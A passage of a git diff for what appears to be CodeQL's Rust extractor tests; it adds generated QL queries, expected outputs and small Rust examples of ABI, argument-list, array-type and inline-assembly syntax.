dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e +StructPatFieldList/gen_struct_pat_field_list.rs 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 +TokenTree/gen_token_tree.rs 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 Trait/gen_trait.rs bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea -TraitAlias/gen_trait_alias.rs c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 -TryExpr/gen_try_expr.rs 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 +TraitAlias/gen_trait_alias.rs 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 +TryExpr/gen_try_expr.rs f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e TupleExpr/gen_tuple_expr.rs 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 -TupleField/gen_tuple_field.rs 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 -TupleFieldList/gen_tuple_field_list.rs d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 +TupleField/gen_tuple_field.rs 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 +TupleFieldList/gen_tuple_field_list.rs 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 TuplePat/gen_tuple_pat.rs b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 TupleStructPat/gen_tuple_struct_pat.rs 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 -TupleTypeRepr/gen_tuple_type_repr.rs 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 +TupleTypeRepr/gen_tuple_type_repr.rs 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 TypeAlias/gen_type_alias.rs da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 -TypeArg/gen_type_arg.rs 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 -TypeBound/gen_type_bound.rs 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 -TypeBoundList/gen_type_bound_list.rs bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 -TypeParam/gen_type_param.rs 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 +TypeArg/gen_type_arg.rs a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff +TypeBound/gen_type_bound.rs 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa +TypeBoundList/gen_type_bound_list.rs f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd +TypeParam/gen_type_param.rs 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de UnderscoreExpr/gen_underscore_expr.rs fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 -Union/gen_union.rs d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 -Use/gen_use.rs 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b -UseTree/gen_use_tree.rs bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d -UseTreeList/gen_use_tree_list.rs ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 -Variant/gen_variant.rs 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 -VariantList/gen_variant_list.rs 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 -Visibility/gen_visibility.rs 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 -WhereClause/gen_where_clause.rs bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 -WherePred/gen_where_pred.rs d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 -WhileExpr/gen_while_expr.rs 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d +Union/gen_union.rs 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d +Use/gen_use.rs 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede +UseBoundGenericArgs/gen_use_bound_generic_args.rs 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 +UseTree/gen_use_tree.rs 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 +UseTreeList/gen_use_tree_list.rs 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 +Variant/gen_variant.rs fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 +VariantList/gen_variant_list.rs a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d +Visibility/gen_visibility.rs cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 +WhereClause/gen_where_clause.rs 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a +WherePred/gen_where_pred.rs dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 +WhileExpr/gen_while_expr.rs 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 WildcardPat/gen_wildcard_pat.rs f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc YeetExpr/gen_yeet_expr.rs c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d YieldExpr/gen_yield_expr.rs 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e diff --git a/rust/ql/test/extractor-tests/generated/.gitattributes b/rust/ql/test/extractor-tests/generated/.gitattributes index 9452518fe36c..dd1c891195ed 100644 --- a/rust/ql/test/extractor-tests/generated/.gitattributes +++ b/rust/ql/test/extractor-tests/generated/.gitattributes @@ -5,7 +5,18 @@ /ArrayListExpr/gen_array_list_expr.rs linguist-generated /ArrayRepeatExpr/gen_array_repeat_expr.rs linguist-generated /ArrayTypeRepr/gen_array_type_repr.rs linguist-generated +/AsmClobberAbi/gen_asm_clobber_abi.rs linguist-generated +/AsmConst/gen_asm_const.rs linguist-generated +/AsmDirSpec/gen_asm_dir_spec.rs linguist-generated /AsmExpr/gen_asm_expr.rs linguist-generated +/AsmLabel/gen_asm_label.rs linguist-generated +/AsmOperandExpr/gen_asm_operand_expr.rs linguist-generated +/AsmOperandNamed/gen_asm_operand_named.rs linguist-generated +/AsmOption/gen_asm_option.rs linguist-generated +/AsmOptionsList/gen_asm_options_list.rs linguist-generated +/AsmRegOperand/gen_asm_reg_operand.rs linguist-generated +/AsmRegSpec/gen_asm_reg_spec.rs linguist-generated +/AsmSym/gen_asm_sym.rs linguist-generated /AssocTypeArg/gen_assoc_type_arg.rs linguist-generated /Attr/gen_attr.rs linguist-generated /AwaitExpr/gen_await_expr.rs linguist-generated @@ -83,6 +94,7 @@ /ParenExpr/gen_paren_expr.rs linguist-generated /ParenPat/gen_paren_pat.rs linguist-generated /ParenTypeRepr/gen_paren_type_repr.rs linguist-generated +/ParenthesizedArgList/gen_parenthesized_arg_list.rs linguist-generated /Path/gen_path.rs linguist-generated /Path/gen_path_expr.rs linguist-generated /Path/gen_path_pat.rs linguist-generated @@ -132,6 +144,7 @@ /UnderscoreExpr/gen_underscore_expr.rs linguist-generated /Union/gen_union.rs linguist-generated /Use/gen_use.rs linguist-generated +/UseBoundGenericArgs/gen_use_bound_generic_args.rs linguist-generated /UseTree/gen_use_tree.rs linguist-generated /UseTreeList/gen_use_tree_list.rs linguist-generated /Variant/gen_variant.rs linguist-generated diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected index e69de29bb2d1..1184fc0e3742 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | hasAbiString: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected index e69de29bb2d1..278aa2d83252 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | "C" | diff --git a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs index 01c614999d02..6f04b2640f14 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs +++ b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_abi() -> () { - // A Abi. For example: - todo!() + // An ABI specification for an extern function or block. + // + // For example: + extern "C" fn foo() {} + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected index 883d8f2a698c..86eca9460ef4 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected @@ -1 +1 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | getNumberOfArgs: | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | getNumberOfArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected index 9bbaa63495cd..2cfb771d6cb6 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected @@ -1 +1,3 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | 0 | gen_arg_list.rs:5:5:5:11 | "not yet implemented" | +| gen_arg_list.rs:7:8:7:16 | ArgList | 0 | gen_arg_list.rs:7:9:7:9 | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 1 | gen_arg_list.rs:7:12:7:12 | 2 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 2 | gen_arg_list.rs:7:15:7:15 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs index 2cfe6d29c0db..25c1ea915cef 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs +++ b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_arg_list() -> () { - // A ArgList. For example: - todo!() + // A list of arguments in a function or method call. + // + // For example: + foo(1, 2, 3); + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected index e69de29bb2d1..b19154aca0b0 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | hasConstArg: | yes | hasElementTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected index e69de29bb2d1..9ab029133f6b 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:20:7:20 | ConstArg | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected index e69de29bb2d1..86b22f2f39d8 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs index 118b02860340..76e7d3def646 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_array_type_repr() -> () { - // A ArrayTypeRepr. For example: - todo!() + // An array type representation. + // + // For example: + let arr: [i32; 4]; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected new file mode 100644 index 000000000000..10f3409cc794 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected @@ -0,0 +1 @@ +| gen_asm_clobber_abi.rs:8:14:8:29 | AsmClobberAbi | diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql new file mode 100644 index 000000000000..087663779dbd --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmClobberAbi x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs new file mode 100644 index 000000000000..f260f1359e5b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_clobber_abi() -> () { + // A clobbered ABI in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected new file mode 100644 index 000000000000..5a82c38127c1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | hasExpr: | yes | isConst: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql new file mode 100644 index 000000000000..151d7a70fa21 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x, string hasExpr, string isConst +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and + if x.isConst() then isConst = "yes" else isConst = "no" +select x, "hasExpr:", hasExpr, "isConst:", isConst diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected new file mode 100644 index 000000000000..f1bb1ffc0533 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | gen_asm_const.rs:8:36:8:37 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql new file mode 100644 index 000000000000..e01d9d86fbe3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs new file mode 100644 index 000000000000..5002ebeb0fbe --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_const() -> () { + // A constant operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov eax, {const}", const 42); + // ^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected new file mode 100644 index 000000000000..977c8504c0ef --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_dir_spec.rs:8:47:8:49 | AsmDirSpec | +| gen_asm_dir_spec.rs:8:67:8:68 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql new file mode 100644 index 000000000000..0d009492422b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmDirSpec x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs new file mode 100644 index 000000000000..7e5191018f1c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_dir_spec() -> () { + // An inline assembly direction specifier. + // + // For example: + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected index 05fcb479b683..3a039fe43fe4 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | getNumberOfAsmPieces: | 0 | getNumberOfAttrs: | 0 | getNumberOfTemplates: | 1 | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | getNumberOfAsmPieces: | 2 | getNumberOfAttrs: | 1 | getNumberOfTemplates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected index e69de29bb2d1..449113ff8fab 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected @@ -0,0 +1,2 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:39:7:47 | AsmOperandNamed | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 1 | gen_asm_expr.rs:7:50:7:58 | AsmOperandNamed | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected index e69de29bb2d1..1e8572997556 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.expected @@ -0,0 +1 @@ +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:6:9:6:25 | Attr | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected index 8957e7fb6d07..fa3414743e92 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | 0 | gen_asm_expr.rs:6:23:6:23 | _ | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | 0 | gen_asm_expr.rs:7:23:7:36 | "cmp {0}, {1}" | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs index cfd6896e2f84..b9c0766c54a3 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs @@ -3,6 +3,7 @@ fn test_asm_expr() -> () { // An inline assembly expression. For example: unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } } diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql new file mode 100644 index 000000000000..fd81bc1820af --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x, string hasBlockExpr +where + toBeTested(x) and + not x.isUnknown() and + if x.hasBlockExpr() then hasBlockExpr = "yes" else hasBlockExpr = "no" +select x, "hasBlockExpr:", hasBlockExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql new file mode 100644 index 000000000000..910efd74be1b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x +where toBeTested(x) and not x.isUnknown() +select x, x.getBlockExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt 